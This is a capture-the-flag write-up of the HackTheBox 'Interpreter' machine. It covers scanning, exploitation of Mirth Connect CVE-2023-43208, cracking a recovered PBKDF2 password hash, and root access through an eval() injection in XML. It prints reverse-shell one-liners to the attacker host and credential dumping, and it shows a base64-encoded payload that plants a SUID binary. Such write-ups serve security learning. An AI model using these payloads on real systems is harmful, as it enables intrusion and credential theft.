Skip to content
HackIndex logo

HackIndex

Interpreter Writeup - HackTheBox

Medium Linux

Last updated July 14, 2026 8 min read

Joshua

HackIndex Creator

Discovery

First we start a full NMAP scan on the target:

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP
[+] Discovering all open TCP ports...
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-21 20:10 +0100
Nmap scan report for $TARGET_IP
Host is up (0.016s latency).
Not shown: 62840 closed tcp ports (reset), 2691 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
443/tcp  open  https
6661/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 12.99 seconds
[+] Parsing open TCP ports...
[+] Running scripts & versions on TCP ports: 22,80,443,6661
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-21 20:10 +0100
Nmap scan report for $TARGET_IP
Host is up (0.015s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_  256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp   open  http     Jetty
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
443/tcp  open  ssl/http Jetty
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after:  2075-09-19T12:50:05
|_http-title: Mirth Connect Administrator
| http-methods: 
|_  Potentially risky methods: TRACE
6661/tcp open  unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.10 seconds

There is a open port 80 so lets run Nuclei on it to check for quick details

┌──(kali㉿kali)-[~]
└─$ nuclei -target http://$TARGET_IP
                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.7.0

                projectdiscovery.io

[INF] Current nuclei version: v3.7.0 (latest)
[INF] Current nuclei-templates version: v10.3.9 (latest)
[INF] New templates added in latest release: 182
[INF] Templates loaded for current scan: 9810
[INF] Executing 9808 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 2 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 2237 (Reduced 2113 Requests)
[INF] Using Interactsh Server: oast.site
[ssh-auth-methods] [javascript] [info] $TARGET_IP:22 ["["publickey","password"]"]
[ssh-sha1-hmac-algo] [javascript] [info] $TARGET_IP:22
[ssh-server-enumeration] [javascript] [info] $TARGET_IP:22 ["SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7"]
[ssh-password-auth] [javascript] [info] $TARGET_IP:22
[openssh-detect] [tcp] [info] $TARGET_IP:22 ["SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7"]
[mirth-connect-detect] [http] [info] http://$TARGET_IP
[options-method] [http] [info] http://$TARGET_IP ["GET, HEAD, TRACE, OPTIONS"]
[INF] Skipped $TARGET_IP:4040 from target list as found unresponsive permanently: cause="port closed or filtered" address=$TARGET_IP:4040 chain="connection refused; got err while executing https://$TARGET_IP:4040/jobs/?\"'><script>alert(document.domain)</script>"
[tech-detect:bootstrap] [http] [info] http://$TARGET_IP
[old-copyright] [http] [info] http://$TARGET_IP ["&copy; 2023"]
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://$TARGET_IP
[http-missing-security-headers:strict-transport-security] [http] [info] http://$TARGET_IP
[http-missing-security-headers:permissions-policy] [http] [info] http://$TARGET_IP
[http-missing-security-headers:x-frame-options] [http] [info] http://$TARGET_IP
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://$TARGET_IP
[http-missing-security-headers:referrer-policy] [http] [info] http://$TARGET_IP
[http-missing-security-headers:clear-site-data] [http] [info] http://$TARGET_IP
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://$TARGET_IP
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://$TARGET_IP
[http-missing-security-headers:content-security-policy] [http] [info] http://$TARGET_IP
[http-missing-security-headers:x-content-type-options] [http] [info] http://$TARGET_IP
[INF] Scan completed in 2m. 20 matches found.

This reveals:

[mirth-connect-detect] [http] [info] http://10.129.1.90

Exploitation of Mirth Connect

It shows us the website running is using Mirth Connect which with a quick Google Search reveals us it has a vulnerability CVE-2023-43208.

We can use this exploit as following:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/K3ysTr0K3R/CVE-2023-43208-EXPLOIT.git
┌──(kali㉿kali)-[~]
└─$ cd CVE-2023-43208-EXPLOIT
┌──(kali㉿kali)-[~]
└─$ pyenv virtualenv 3.10 CVE-2023-43208
┌──(kali㉿kali)-[~]
└─$ pip3 install requests pwncat-cs
 
┌──(kali㉿kali)-[~]
└─$ python3 CVE-2023-43208.py -u https://$TARGET -lh $LHOST -lp $LPORT
[+] Coded By: K3ysTr0K3R and Chocapikk ( NSA, we're still waiting :D )

[*] Setting up listener on $LHOST:$LPORT and launching exploit...
Exception in thread Thread-1 (start_listener):
Traceback (most recent call last):
  File "/home/kali/.pyenv/versions/3.10.19/lib/python3.10/threading.py", line 1016, in _bootstrap_inner
    self.run()
  File "/home/kali/.pyenv/versions/3.10.19/lib/python3.10/threading.py", line 953, in run
    self._target(*self._args, **self._kwargs)
  File "/tmp/CVE-2023-43208-EXPLOIT/CVE-2023-43208.py", line 55, in start_listener
    with socket.create_server(("0.0.0.0", int(self.rshell_port))) as listener:
  File "/home/kali/.pyenv/versions/3.10.19/lib/python3.10/socket.py", line 939, in create_server
    raise error(err.errno, msg) from None
OSError: [Errno 98] Address already in use (while attempting to bind on address ('0.0.0.0', $LPORT))
[*] Looking for Mirth Connect instance...
[+] Found Mirth Connect instance
[+] Vulnerable Mirth Connect version 4.4.0 instance found at https://$TARGET
[!] sh -c $@|sh . echo bash -c '0<&53-;exec 53<>/dev/tcp/$LHOST/$LPORT;sh <&53 >&53 2>&53'
[*] Launching exploit against https://$TARGET...

Returning in our NC listener

┌──(kali㉿kali)-[~]
└─$ rslisten 1111 tun0
[LINUX] /bin/bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1
[LINUX] busybox nc $LHOST $LPORT -e /bin/bash

listening on [$LHOST] $LPORT ...
connect to [$TARGET_IP] from (UNKNOWN) [10.129.1.90] 52788

Now that we have our initial access to the target we can do some internal enumeration. Checking online documentation of Mirth Connect shows us the paths of some useful config files like:

  • mirth.properties

Viewing this file reveals us some useful information like:

database = mysql
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.username = mirthdb
database.password = MirthPass123!

which we can use to exfiltrate users from the database like:

┌──(kali㉿kali)-[~]
└─$ mysql -u mirthdb -p'MirthPass123!' mc_bdd_prod -e 'SELECT * FROM PERSON;'
ID      USERNAME        FIRSTNAME       LASTNAME        ORGANIZATION    INDUSTRY        EMAIL   PHONENUMBER        DESCRIPTION     LAST_LOGIN      GRACE_PERIOD_START      STRIKE_COUNT    LAST_STRIKE_TIME   LOGGED_IN       ROLE    COUNTRY STATETERRITORY  USERCONSENT
2       sedric                          NULL                            2025-09-21 17:56:02     NULL       0       NULL    \0      NULL    United States   NULL    0
┌──(kali㉿kali)-[~]
└─$ mysql -u mirthdb -p'MirthPass123!' mc_bdd_prod -e 'SELECT * FROM PERSON_PASSWORD;'
PERSON_ID       PASSWORD        PASSWORD_DATE
2       u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==        2025-09-19 09:22:28

Cracking the Mirth Connect hash and gain user access

HashID and hashcat can't find any matching hash for "u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==", making me read the Mirth Connect documentation even more.

I stumble across this blog post https://docs.nextgen.com/en-US/mirthc2ae-connect-by-nextgen-healthcare-user-guide-3281761/default-digest-algorithm-in-mirthc2ae-connect-4-4-62159

talking about the hashing algorithm and iteration count which are very important for hashcat.

When I look at the hashcat examples on https://hashcat.net/wiki/doku.php?id=example_hashes

and search for "PBKDF2-HMAC-SHA256" we get the following example with hashcat mode:

10900

PBKDF2-HMAC-SHA256

sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt

So we need to fill in the example "sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt" with our own values.

Creating the hash format

To begin with know the first part already which is "sha256:600000". Now we need the salt and key which are not directly found in our database hash. When I check the base64 decoded size of the hash it shows us:

┌──(kali㉿kali)-[~]
└─$ echo "u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==" | base64 -d | wc -c
      40

Since we know SHA256 has 32 bytes and the salt is 8 bytes (https://github.com/nextgenhealthcare/connect/issues/5665) it matches the base64 decoded amount of 40.

When we take these bytes and make them base64 again we have all the parts of the hashcat example.

┌──(kali㉿kali)-[~]
└─$ echo 'u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==' | base64 -d | xxd
00000000: bbff 8b04 1394 9da7 62c8 506c 30ea 080c  ........b.Pl0...
00000010: f2db 511d 2b93 9f64 1243 d4d7 b8ad 76b5  ..Q.+..d.C....v.
00000020: 5603 f90b 32dd f0fb                      V...2...
┌──(kali㉿kali)-[~]
└─$ # Salt
┌──(kali㉿kali)-[~]
└─$ echo bbff8b0413949da7 | xxd -r -p | base64
u/+LBBOUnac=
┌──(kali㉿kali)-[~]
└─$ # Key
┌──(kali㉿kali)-[~]
└─$ echo 62c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb | xxd -r -p | base64
YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=

Our final hashcat hash

sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=

Cracking the hash

Now we can finally crack the hash with hashcat like:

┌──(kali㉿kali)-[~]
└─$ hashcat -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -m 10900 -w 3
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-AMD Ryzen 5 5500U with Radeon Graphics, 4908/9817 MB (2048 MB allocatable), 12MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 515 MB (3829 MB free)

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => s

sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD...Ld8Ps=
Time.Started.....: Sat Feb 21 21:05:53 2026 (2 mins, 8 secs)
Time.Estimated...: Sat Feb 21 21:08:01 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:       90 H/s (108.21ms) @ Accel:482 Loops:1000 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 11568/14344385 (0.08%)
Rejected.........: 0/11568 (0.00%)
Restore.Point....: 5784/14344385 (0.04%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:599000-599999
Candidate.Engine.: Device Generator
Candidates.#01...: sexything -> fernandita
Hardware.Mon.#01.: Temp: 75c Util: 98%

Started: Sat Feb 21 21:05:51 2026
Stopped: Sat Feb 21 21:08:03 2026

So we know user sedric hash password snowflake1

Getting user access

We can use our new found credentials with SSH and get the first user flag like:

┌──(kali㉿kali)-[~]
└─$ ssh sedric@$TARGET_IP
Warning: Permanently added '$TARGET_IP' (ED25519) to the list of known hosts.
sedric@$TARGET_IP's password: 
Linux interpreter 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Feb 21 15:08:48 2026 from 10.10.14.127
sedric@interpreter:~$ ls
user.txt
sedric@interpreter:~$ cat user.txt 
[HIDDEN]

Privilege Escalation

Now its time for privilege escalation. We start by checking processes if there are any root processes running which we potentially can use to get root:

sedric@interpreter $ ps aux | grep root
root        3560  0.0  0.7  39872 31784 ?        Ss   14:05   0:00 /usr/bin/python3 /usr/local/bin/notif.py

Lets check the source code of this script

user@host ~ $ cat /usr/local/bin/notif.py
...

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"
    # DOB format is DD/MM/YYYY
    try:
        year_of_birth = int(dob.split('/')[-1])
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
            return "[INVALID_DOB]"
    except:
        return "[INVALID_DOB]"
    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

@app.route("/addPatient", methods=["POST"])
def receive():
    if request.remote_addr != "127.0.0.1":
        abort(403)
    try:
        xml_text = request.data.decode()
        xml_root = ET.fromstring(xml_text)
    except ET.ParseError:
        return "XML ERROR\n", 400
    patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
    if patient is None:
        return "No <patient> tag found\n", 400
    id = uuid.uuid4().hex
    data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
    notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
    path = os.path.join(USER_DIR,f"{id}.txt")
    with open(path,"w") as f:
        f.write(notification+"\n")
    return notification

...

First thing I notice is the "return eval(f"f'''{template}'''")" part which executes Python code as the user running the process (root). The goal is to make a malicious XML file which doesn't trigger the regex "re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")".

Check legit XML file

I first start with a legitimate XML file:

<patient>
    <firstname>John</firstname>
    <lastname>Doe</lastname>
    <sender_app>A</sender_app>
    <timestamp>B</timestamp>
    <birth_date>01/01/2000</birth_date>
    <gender>M</gender>
</patient>
sedric@interpreter $ wget --method=POST --header="Content-Type: application/xml" --body-file=legit.xml http://127.0.0.1:54321/addPatient

Create malicious XML file

Which works. Now Ill make a malicious XML where the firstname field contains a Python snippet to execute "cp /usr/bin/python3 /tmp/p && chmod 4755 /tmp/p", which will copy the python3 executable to the /tmp folder with a SUID bit, so we can execute this as root.

<patient>
    <firstname>{__import__("os").system(__import__("base64").b64decode("Y3AgL3Vzci9iaW4vcHl0aG9uMyAvdG1wL3AgJiYgY2htb2QgNDc1NSAvdG1wL3A=").decode())}</firstname>
    <lastname>Doe</lastname>
    <sender_app>A</sender_app>
    <timestamp>B</timestamp>
    <birth_date>01/01/2000</birth_date>
    <gender>M</gender>
</patient>
sedric@interpreter $ wget -S -O - --method=POST --header="Content-Type: application/xml" --body-file=exploit.xml http://127.0.0.1:54321/addPatient
--2026-02-21 16:04:04--  http://127.0.0.1:54321/addPatient
Connecting to 127.0.0.1:54321... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Server: Werkzeug/2.2.2 Python/3.11.2
  Date: Sat, 21 Feb 2026 21:04:04 GMT
  Content-Type: text/html; charset=utf-8
  Content-Length: 53
  Connection: close
Length: 53 [text/html]
Saving to: 'STDOUT'
2026-02-21 16:04:04 (5.36 MB/s) - written to stdout [53/53]

Now that our XML file has been successfully sent to the webserver we need to check if the exploit has been executed.

sedric@interpreter $ ls -pal /tmp
total 7984
drwxrwxrwt 11 root   root      4096 Feb 21 16:04 ./
drwxr-xr-x 19 root   root      4096 Feb 16 15:42 ../
drwxrwxrwt  2 root   root      4096 Feb 21 14:05 .ICE-unix/
drwxrwxrwt  2 root   root      4096 Feb 21 14:05 .X11-unix/
drwxrwxrwt  2 root   root      4096 Feb 21 14:05 .XIM-unix/
drwxrwxrwt  2 root   root      4096 Feb 21 14:05 .font-unix/
-rw-r--r--  1 sedric sedric      56 Feb 21 15:29 addPatient
-rw-r--r--  1 sedric sedric      55 Feb 21 15:31 addPatient.1
-rw-r--r--  1 sedric sedric      55 Feb 21 15:31 addPatient.2
-rw-r--r--  1 sedric sedric      15 Feb 21 15:33 addPatient.3
-rwsr-xr-x  1 root   root   1265648 Feb 21 16:02 bash
-rw-r--r--  1 sedric sedric     323 Feb 21 16:04 exploit.xml
drwxr-xr-x  2 mirth  mirth     4096 Feb 21 14:05 hsperfdata_mirth/
-rw-r--r--  1 mirth  mirth        5 Feb 21 14:05 i4jdaemon__usr_local_mirthconnect_mcservice
-rw-rw-r--  1 mirth  mirth      118 Feb 21 14:05 install4j_jre_version_mirth
-rw-r--r--  1 sedric sedric     193 Feb 21 15:29 legit.xml
-rwsr-xr-x  1 root   root   6831736 Feb 21 16:04 p
drwx------  3 root   root      4096 Feb 21 14:05 systemd-private-5086c52768cd4b55a356b70a9b2b553c-systemd-logind.service-sc0cah/
drwx------  3 root   root      4096 Feb 21 14:05 systemd-private-5086c52768cd4b55a356b70a9b2b553c-systemd-timesyncd.service-nsfl7R/
drwx------  2 root   root      4096 Feb 21 14:05 vmware-root/
drwx------  2 root   root      4096 Feb 21 14:05 vmware-root_3389-4248154114/
sedric@interpreter $ /tmp/p -c 'import os; os.setuid(0); os.setgid(0); os.system("/bin/sh")'
# whoami
root
# cat /root/root.txt
[HIDDEN]